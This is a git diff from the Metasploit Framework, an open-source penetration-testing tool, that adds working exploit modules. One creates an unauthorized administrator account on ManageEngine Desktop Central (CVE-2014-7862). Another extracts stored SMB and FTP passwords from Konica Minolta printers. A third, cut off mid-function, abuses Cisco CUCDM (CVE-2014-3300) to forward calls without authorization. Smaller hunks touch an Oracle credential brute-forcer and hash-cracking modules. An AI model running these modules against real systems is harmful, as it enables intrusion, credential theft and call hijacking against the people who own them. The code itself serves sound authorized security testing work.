|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
spec.add_runtime_dependency 'msgpack'
|
spec.add_runtime_dependency 'msgpack'
|
||||||
# Needed by anemone crawler
|
# Needed by anemone crawler
|
||||||
|
|
|
@ -0,0 +1,97 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an administrator account creation vulnerability in Desktop Central
|
||||||
|
from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
|
||||||
|
several versions of Desktop Central (including MSP) from v7 onwards.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2014-7862'],
|
||||||
|
['OSVDB', '116554'],
|
||||||
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt'],
|
||||||
|
['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Dec 31 2014'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptPort.new('RPORT', [true, 'The target port', 8020]),
|
||||||
|
OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
|
||||||
|
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
|
||||||
|
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
|
||||||
|
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def run
|
||||||
|
# Generate password hash
|
||||||
|
salt = Time.now.to_i.to_s
|
||||||
|
password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"),
|
||||||
|
'method' =>'GET',
|
||||||
|
'vars_get' => {
|
||||||
|
'action' => 'addPlugInUser',
|
||||||
|
'role' => 'DCAdmin',
|
||||||
|
'userName' => datastore['USERNAME'],
|
||||||
|
'email' => datastore['EMAIL'],
|
||||||
|
'phNumber' => Rex::Text.rand_text_numeric(6),
|
||||||
|
'password' => password_encoded,
|
||||||
|
'salt' => salt,
|
||||||
|
'createdtime' => salt
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# Yes, "sucess" is really mispelt, as is "Servelet" ... !
|
||||||
|
unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
|
||||||
|
print_error("#{peer} - Administrator account creation failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||||
|
service_data = {
|
||||||
|
address: rhost,
|
||||||
|
port: rport,
|
||||||
|
service_name: (ssl ? 'https' : 'http'),
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: self.fullname,
|
||||||
|
private_type: :password,
|
||||||
|
private_data: datastore['PASSWORD'],
|
||||||
|
username: datastore['USERNAME']
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data.merge!(service_data)
|
||||||
|
credential_core = create_credential(credential_data)
|
||||||
|
login_data = {
|
||||||
|
core: credential_core,
|
||||||
|
access_level: 'Administrator',
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED
|
||||||
|
}
|
||||||
|
login_data.merge!(service_data)
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
end
|
|
@ -44,27 +44,28 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")
|
print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")
|
||||||
|
|
||||||
fd = CSV.foreach(list) do |brute|
|
fd = CSV.foreach(list) do |brute|
|
||||||
|
datastore['DBUSER'] = brute[2].downcase
|
||||||
|
datastore['DBPASS'] = brute[3].downcase
|
||||||
|
|
||||||
datastore['DBUSER'] = brute[2].downcase
|
begin
|
||||||
datastore['DBPASS'] = brute[3].downcase
|
connect
|
||||||
|
disconnect
|
||||||
begin
|
rescue ::OCIError => e
|
||||||
connect
|
if e.to_s =~ /^ORA-12170:\s/
|
||||||
disconnect
|
print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out")
|
||||||
rescue ::OCIError => e
|
break
|
||||||
|
end
|
||||||
else
|
else
|
||||||
if (not e)
|
report_auth_info(
|
||||||
report_auth_info(
|
|
||||||
:host => "#{datastore['RHOST']}",
|
:host => "#{datastore['RHOST']}",
|
||||||
:port => "#{datastore['RPORT']}",
|
:port => "#{datastore['RPORT']}",
|
||||||
:sname => 'oracle',
|
:sname => 'oracle',
|
||||||
:user => "#{datastore['SID']}/#{datastore['DBUSER']}",
|
:user => "#{datastore['SID']}/#{datastore['DBUSER']}",
|
||||||
:pass => "#{datastore['DBPASS']}",
|
:pass => "#{datastore['DBPASS']}",
|
||||||
:active => true
|
:active => true
|
||||||
)
|
)
|
||||||
print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
|
print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -43,6 +43,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
cracker_instance = cracker.dup
|
cracker_instance = cracker.dup
|
||||||
cracker_instance.format = format
|
cracker_instance.format = format
|
||||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||||
|
# Turn on KoreLogic rules if the user asked for it
|
||||||
|
if datastore['KoreLogic']
|
||||||
|
cracker_instance.rules = 'KoreLogicRules'
|
||||||
|
print_status "Applying KoreLogic ruleset..."
|
||||||
|
end
|
||||||
cracker_instance.crack do |line|
|
cracker_instance.crack do |line|
|
||||||
print_status line.chomp
|
print_status line.chomp
|
||||||
end
|
end
|
||||||
|
|
|
@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
cracker_instance = cracker.dup
|
cracker_instance = cracker.dup
|
||||||
cracker_instance.format = format
|
cracker_instance.format = format
|
||||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||||
|
# Turn on KoreLogic rules if the user asked for it
|
||||||
|
if datastore['KoreLogic']
|
||||||
|
cracker_instance.rules = 'KoreLogicRules'
|
||||||
|
print_status "Applying KoreLogic ruleset..."
|
||||||
|
end
|
||||||
cracker_instance.crack do |line|
|
cracker_instance.crack do |line|
|
||||||
print_status line.chomp
|
print_status line.chomp
|
||||||
end
|
end
|
||||||
|
|
|
@ -57,6 +57,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
cracker_instance = cracker.dup
|
cracker_instance = cracker.dup
|
||||||
cracker_instance.format = format
|
cracker_instance.format = format
|
||||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||||
|
# Turn on KoreLogic rules if the user asked for it
|
||||||
|
if datastore['KoreLogic']
|
||||||
|
cracker_instance.rules = 'KoreLogicRules'
|
||||||
|
print_status "Applying KoreLogic ruleset..."
|
||||||
|
end
|
||||||
cracker_instance.crack do |line|
|
cracker_instance.crack do |line|
|
||||||
print_status line.chomp
|
print_status line.chomp
|
||||||
end
|
end
|
||||||
|
|
|
@ -44,6 +44,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
cracker_instance = cracker.dup
|
cracker_instance = cracker.dup
|
||||||
cracker_instance.format = format
|
cracker_instance.format = format
|
||||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||||
|
# Turn on KoreLogic rules if the user asked for it
|
||||||
|
if datastore['KoreLogic']
|
||||||
|
cracker_instance.rules = 'KoreLogicRules'
|
||||||
|
print_status "Applying KoreLogic ruleset..."
|
||||||
|
end
|
||||||
cracker_instance.crack do |line|
|
cracker_instance.crack do |line|
|
||||||
print_status line.chomp
|
print_status line.chomp
|
||||||
end
|
end
|
||||||
|
|
|
@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
cracker_instance = cracker.dup
|
cracker_instance = cracker.dup
|
||||||
cracker_instance.format = format
|
cracker_instance.format = format
|
||||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||||
|
# Turn on KoreLogic rules if the user asked for it
|
||||||
|
if datastore['KoreLogic']
|
||||||
|
cracker_instance.rules = 'KoreLogicRules'
|
||||||
|
print_status "Applying KoreLogic ruleset..."
|
||||||
|
end
|
||||||
cracker_instance.crack do |line|
|
cracker_instance.crack do |line|
|
||||||
print_status line.chomp
|
print_status line.chomp
|
||||||
end
|
end
|
||||||
|
|
|
@ -48,6 +48,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
cracker_instance = cracker.dup
|
cracker_instance = cracker.dup
|
||||||
cracker_instance.format = format
|
cracker_instance.format = format
|
||||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||||
|
# Turn on KoreLogic rules if the user asked for it
|
||||||
|
if datastore['KoreLogic']
|
||||||
|
cracker_instance.rules = 'KoreLogicRules'
|
||||||
|
print_status "Applying KoreLogic ruleset..."
|
||||||
|
end
|
||||||
cracker_instance.crack do |line|
|
cracker_instance.crack do |line|
|
||||||
print_status line.chomp
|
print_status line.chomp
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,258 @@
|
||||||
|
#
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'rex/proto/http'
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Konica Minolta Password Extractor',
|
||||||
|
'Description' => %q(
|
||||||
|
This module will extract FTP and SMB account usernames and passwords
|
||||||
|
from Konica Minolta mfp devices. Tested models include: C224, C280,
|
||||||
|
283, C353, C360, 363, 420, C452,C452, C452, C454e, C554 ),
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Deral "Percentx" Heiland',
|
||||||
|
'Pete "Bokojan" Arzamendi'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT('50001'),
|
||||||
|
OptString.new('USER', [false, 'The default Admin user', 'Admin']),
|
||||||
|
OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),
|
||||||
|
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
|
||||||
|
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Creates the XML data to be sent that will extract AuthKey
|
||||||
|
def generate_authkey_request_xlm(major, minor)
|
||||||
|
user = datastore['USER']
|
||||||
|
passwd = datastore['PASSWD']
|
||||||
|
Nokogiri::XML::Builder.new do |xml|
|
||||||
|
xml.send('SOAP-ENV:Envelope',
|
||||||
|
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
|
||||||
|
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
|
||||||
|
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
|
||||||
|
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
|
||||||
|
xml.send('SOAP-ENV:Header'){
|
||||||
|
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
|
||||||
|
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
|
||||||
|
xml.send('UserName', 'xmlns' => '') { xml.text '' }
|
||||||
|
xml.send('Password', 'xmlns' => '') { xml.text '' }
|
||||||
|
xml.send('Version', 'xmlns' => ''){
|
||||||
|
xml.send('Major') { xml.text "#{major}" }
|
||||||
|
xml.send('Minor') { xml.text "#{minor}" }
|
||||||
|
}
|
||||||
|
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
xml.send('SOAP-ENV:Body') {
|
||||||
|
xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
|
||||||
|
xml.send('OperatorInfo'){
|
||||||
|
xml.send('UserType') { xml.text "#{user}" }
|
||||||
|
xml.send('Password') { xml.text "#{passwd}" }
|
||||||
|
}
|
||||||
|
xml.send('TimeOut') { xml.text '60' }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create XML data that will be sent to extract SMB and FTP passwords from device
|
||||||
|
def generate_pwd_request_xlm(major, minor, authkey)
|
||||||
|
Nokogiri::XML::Builder.new do |xml|
|
||||||
|
xml.send('SOAP-ENV:Envelope',
|
||||||
|
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
|
||||||
|
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
|
||||||
|
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
|
||||||
|
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
|
||||||
|
xml.send('SOAP-ENV:Header'){
|
||||||
|
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
|
||||||
|
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
|
||||||
|
xml.send('UserName', 'xmlns' => '') { xml.text '' }
|
||||||
|
xml.send('Password', 'xmlns' => '') { xml.text '' }
|
||||||
|
xml.send('Version', 'xmlns' => ''){
|
||||||
|
xml.send('Major') { xml.text "#{major}" }
|
||||||
|
xml.send('Minor') { xml.text "#{minor}" }
|
||||||
|
}
|
||||||
|
xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
xml.send('SOAP-ENV:Body'){
|
||||||
|
xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
|
||||||
|
xml.send('OperatorInfo'){
|
||||||
|
xml.send('AuthKey') { xml.text "#{authkey}" }
|
||||||
|
}
|
||||||
|
xml.send('AbbrListCondition'){
|
||||||
|
xml.send('SearchKey') { xml.text 'None' }
|
||||||
|
xml.send('WellUse') { xml.text 'false' }
|
||||||
|
xml.send('ObtainCondition'){
|
||||||
|
xml.send('Type') { xml.text 'OffsetList' }
|
||||||
|
xml.send('OffsetRange'){
|
||||||
|
xml.send('Start') { xml.text '1' }
|
||||||
|
xml.send('Length') { xml.text '100' }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
xml.send('BackUp') { xml.text 'true' }
|
||||||
|
xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# This next section will post the XML soap messages for information gathering.
|
||||||
|
def run_host(ip)
|
||||||
|
print_status("Attempting to extract username and password from the host at #{peer}")
|
||||||
|
version
|
||||||
|
end
|
||||||
|
|
||||||
|
# Validate XML Major Minor version
|
||||||
|
def version
|
||||||
|
response = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'POST',
|
||||||
|
'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
|
||||||
|
}, datastore['TIMEOUT'].to_i)
|
||||||
|
if response.nil?
|
||||||
|
print_error("#{peer} - No reponse from device")
|
||||||
|
return
|
||||||
|
else
|
||||||
|
xml0_body = ::Nokogiri::XML(response.body)
|
||||||
|
major_parse = xml0_body.xpath('//Major').text
|
||||||
|
minor_parse = xml0_body.xpath('//Minor').text
|
||||||
|
major = ("#{major_parse}")
|
||||||
|
minor = ("#{minor_parse}")
|
||||||
|
login(major, minor)
|
||||||
|
end
|
||||||
|
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
print_error("#{peer} - Version check Connection failed.")
|
||||||
|
end
|
||||||
|
|
||||||
|
# This section logs on and retrieves AuthKey token
|
||||||
|
def login(major, minor)
|
||||||
|
authreq_xml = generate_authkey_request_xlm(major, minor)
|
||||||
|
# Send post request with crafted XML to login and retreive AuthKey
|
||||||
|
begin
|
||||||
|
response = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'POST',
|
||||||
|
'data' => authreq_xml.to_xml
|
||||||
|
}, datastore['TIMEOUT'].to_i)
|
||||||
|
if response.nil?
|
||||||
|
print_error("#{peer} - No reponse from device")
|
||||||
|
return
|
||||||
|
else
|
||||||
|
xml1_body = ::Nokogiri::XML(response.body)
|
||||||
|
authkey_parse = xml1_body.xpath('//AuthKey').text
|
||||||
|
authkey = ("#{authkey_parse}")
|
||||||
|
extract(major, minor, authkey)
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
print_error("#{peer} - Login Connection failed.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# This section post xml soap message that will extract usernames and passwords
|
||||||
|
def extract(major, minor, authkey)
|
||||||
|
if (authkey != '')
|
||||||
|
# create xml request to extract user credintial settings
|
||||||
|
smbreq_xml = generate_pwd_request_xlm(major, minor, authkey)
|
||||||
|
# Send post request with crafted XML as data
|
||||||
|
begin
|
||||||
|
response = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'POST',
|
||||||
|
'data' => smbreq_xml.to_xml
|
||||||
|
}, datastore['TIMEOUT'].to_i)
|
||||||
|
if response.nil?
|
||||||
|
print_error("#{peer} - No reponse from device")
|
||||||
|
return
|
||||||
|
else
|
||||||
|
xml2_body = ::Nokogiri::XML(response.body)
|
||||||
|
@smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text }
|
||||||
|
@smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text }
|
||||||
|
@smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text }
|
||||||
|
@ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text }
|
||||||
|
@ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text }
|
||||||
|
@ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text }
|
||||||
|
@ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
i = 0
|
||||||
|
# output SMB data
|
||||||
|
@smb_user.each do
|
||||||
|
shost = "#{@smb_host[i]}"
|
||||||
|
sname = "#{@smb_user[i]}"
|
||||||
|
sword = "#{@smb_pass[i]}"
|
||||||
|
print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139")
|
||||||
|
register_creds('smb', shost, '139', sname, sword)
|
||||||
|
i += 1
|
||||||
|
end
|
||||||
|
i = 0
|
||||||
|
# output FTP data
|
||||||
|
@ftp_user.each do
|
||||||
|
fhost = "#{@ftp_host[i]}"
|
||||||
|
fname = "#{@ftp_user[i]}"
|
||||||
|
fword = "#{@ftp_pass[i]}"
|
||||||
|
fport = "#{@ftp_port[i]}"
|
||||||
|
print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}")
|
||||||
|
register_creds('ftp', fhost, fport, fname, fword)
|
||||||
|
i += 1
|
||||||
|
end
|
||||||
|
|
||||||
|
else
|
||||||
|
print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def register_creds(service_name, remote_host, remote_port, username, password)
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: self.fullname,
|
||||||
|
workspace_id: myworkspace.id,
|
||||||
|
private_data: password,
|
||||||
|
private_type: :password,
|
||||||
|
username: username
|
||||||
|
}
|
||||||
|
|
||||||
|
service_data = {
|
||||||
|
address: remote_host,
|
||||||
|
port: remote_port,
|
||||||
|
service_name: service_name,
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data.merge!(service_data)
|
||||||
|
credential_core = create_credential(credential_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: credential_core,
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
login_data.merge!(service_data)
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
end
|
|
@ -188,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
next if (res.code == 500 or res.code == 404 or res.code == 302)
|
next if (res.code == 500 or res.code == 404 or res.code == 302)
|
||||||
print_error("#{ip} #{res.inspect}")
|
print_error("#{ip} #{res.to_s}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -124,11 +124,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def do_login(user=nil, pass=nil, viewstate=viewstate, eventvalidation=eventvalidation)
|
def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation)
|
||||||
vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'")
|
vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'")
|
||||||
|
|
||||||
post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate.to_s)}"
|
post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}"
|
||||||
post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation.to_s)}"
|
post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}"
|
||||||
post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}"
|
post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}"
|
||||||
post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"
|
post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"
|
||||||
|
|
||||||
|
|
|
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
else
|
else
|
||||||
print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response")
|
print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response")
|
||||||
print_error(res.inspect)
|
print_error(res.to_s)
|
||||||
return :abort
|
return :abort
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -97,16 +97,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
name = name.to_s
|
name = name.to_s
|
||||||
anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '')
|
anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '')
|
||||||
case anst
|
case data
|
||||||
when 'NS'
|
when Resolv::DNS::Resource::IN::NS
|
||||||
data = data.name.to_s
|
data = data.name.to_s
|
||||||
when 'MX'
|
when Resolv::DNS::Resource::IN::MX
|
||||||
data = data.exchange.to_s
|
data = data.exchange.to_s
|
||||||
when 'A'
|
when Resolv::DNS::Resource::IN::A
|
||||||
data = data.address.to_s
|
data = data.address.to_s
|
||||||
when 'TXT'
|
when Resolv::DNS::Resource::IN::TXT
|
||||||
data = data.strings.join
|
data = data.strings.join
|
||||||
when 'CNAME'
|
when Resolv::DNS::Resource::IN::CNAME
|
||||||
data = data.name.to_s
|
data = data.name.to_s
|
||||||
else
|
else
|
||||||
data = anst
|
data = anst
|
||||||
|
|
|
@ -0,0 +1,148 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rexml/document'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
|
||||||
|
'Description' => %q{
|
||||||
|
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
|
||||||
|
(CDM) 10 does not properly implement access control, which allows remote attackers to
|
||||||
|
modify user information. This module exploits the vulnerability for configure unauthorized
|
||||||
|
call forwarding.
|
||||||
|
},
|
||||||
|
'Author' => 'fozavci',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2014-3300'],
|
||||||
|
['BID', '68331']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Actions' =>
|
||||||
|
[
|
||||||
|
[ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ],
|
||||||
|
[ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
|
||||||
|
],
|
||||||
|
'DefaultAction' => 'Info'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
|
||||||
|
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
|
||||||
|
OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
|
||||||
|
OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
case action.name.upcase
|
||||||
|
when 'INFO'
|
||||||
|
get_info
|
||||||
|
when 'FORWARD'
|
||||||
|
forward_calls
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_info
|
||||||
|
uri = normalize_uri(target_uri.to_s)
|
||||||
|
mac = datastore["MAC"]
|
||||||
|
|
||||||
|
print_status("#{peer} - Getting fintnumbers and display names of the IP phone")
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'vars_get' => {
|
||||||
|
'device' => "SEP#{mac}"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
|
||||||
|
print_error("#{peer} - Target appears not vulnerable!")
|
||||||
|
print_status("#{res}")
|
||||||
|
return []
|
||||||
|
end
|
||||||
|
|
||||||
|
doc = REXML::Document.new(res.body)
|
||||||
|
lines = []
|
||||||
|
fint_numbers = []
|
||||||
|
|
||||||
|
list = doc.root.get_elements('MenuItem')
|
||||||
|
|
||||||
|
list.each do |lst|
|
||||||
|
xlist = lst.get_elements('Name')
|
||||||
|
xlist.each {|l| lines << "#{l[0]}"}
|
||||||
|
xlist = lst.get_elements('URL')
|
||||||
|
xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" }
|
||||||
|
end
|
||||||
|
|
||||||
|
lines.size.times do |i|
|
||||||
|
print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
|
||||||
|
end
|
||||||
|
|
||||||
|
fint_numbers
|
||||||
|
end
|
||||||
|
|
||||||
|
def forward_calls
|
||||||
|
# for a specific FINTNUMBER redirection
|
||||||
|
uri = normalize_uri(target_uri.to_s)
|
||||||
|
forward_to = datastore["FORWARDTO"]
|
||||||
|
mac = datastore["MAC"]
|
||||||
|
|
||||||
|
if datastore['FINTNUMBER']
|
||||||
|
fint_numbers = [datastore['FINTNUMBER']]
|
||||||
|
else
|
||||||
|
fint_numbers = get_info
|
||||||
|
end
|
||||||
|
|
||||||
|
if fint_numbers.empty?
|
||||||
|
